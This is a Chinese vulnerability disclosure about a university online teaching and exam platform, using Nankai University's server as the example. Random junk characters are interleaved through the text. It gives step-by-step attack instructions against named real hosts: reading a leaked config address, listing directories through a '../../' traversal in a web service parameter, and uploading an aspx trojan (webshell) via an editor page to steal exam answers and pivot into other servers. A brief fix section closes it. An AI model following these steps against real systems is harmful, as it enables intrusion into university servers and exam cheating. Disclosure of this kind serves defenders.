好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中1 m( G6 v d/ X$ }
/ D' j/ b4 K8 Q5 j) ] B详细说明:# j7 h5 \- c5 s$ q
. ~: h J6 K+ u: L# `0 O/ o7 H b以南开大学的为例:
0 V" p a* D9 ]9 rhttp://222.30.60.3/NPELS
# X' s( t4 t: ^2 P2 GNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
4 \) K0 g: ] f9 n4 F( O g! ?<setting name="Update_CommonSvr_CommonService" serializeAs="String">
5 K( N$ W) p; {<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
$ o) x5 N) q3 H3 D</setting>$ N( i, F3 Z) R9 b0 f+ X' o& E
及版本号# Q! r9 a# b, E2 f
<add key="TVersion" value="1, 0, 0, 2187">
) b" x; j. o6 L" Q; _</add>' e8 g6 O2 M# s9 w Z: D; Z
直接访问% U" T! e5 {# T! W$ W
http://222.30.60.3/NPELS/CommonService.asmx
6 D/ b8 M6 O( H使用GetTestClientFileList操作,直接 HTTP GET 列目录:! F6 d' u8 x) D' O g+ g
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 21872 U& T% C# K5 D1 d
进一步列目录(返回的网页很大,可以直接 wget 下来)
& [1 L3 z# R v9 hhttp://222.30.60.3/NPELS/CommonS ... List?version=../../" m6 T2 c) o; w
/ \8 W4 ]. F9 {. m' K8 n u
发现
9 o4 P) B+ J; r0 c& W9 nhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm; y* O, Y$ ]& W! q
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头: c2 L# ]2 T1 m% h) r; `$ Y8 z2 x
上传后继续列目录找到木马地址直接访问即可
, p5 j' W& Q4 ^
' C! G; ?+ B- \+ ^* h2 M qOOXX, d( O- k& K( K# y: y
- Z" v2 E$ B9 ^5 ]0 w* X5 x5 }5 \
Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法
+ y% x, a2 s4 i$ a, U: `漏洞证明:4 H2 y% P# [. R( A0 I4 G
: z5 }8 G" n2 J$ D- U( P
列目录:
# j o8 {! [$ h! n" R, V* ihttp://222.30.60.3/NPELS/CommonS ... List?version=../../
) c2 ^# L8 a \4 Y4 z* F8 B文件上传:
6 E0 g5 k M8 L+ i, Ahttp://222.30.60.3/npelsv/editor/editor.htm9 _; V6 D( C7 S
7 `. z) p% O! p' k7 Z" i: _# H/ z8 m上传木马:
, t7 m! m+ O) r" ohttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
% ?5 l6 }+ L; H: @- R0 S 0 n& l+ c* w5 Z0 N6 K; E7 X# U' C
修复方案:3 y* A/ j/ N& ^) c
好像考试系统必须使用 CommonService.asmx
" X+ I* B) K+ E最好配置文件加密或者用别的方式不让它泄露出来3 J6 ]2 Q0 H& b' t% n F) q
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样! z4 @# `. A- v X% u8 f3 [
|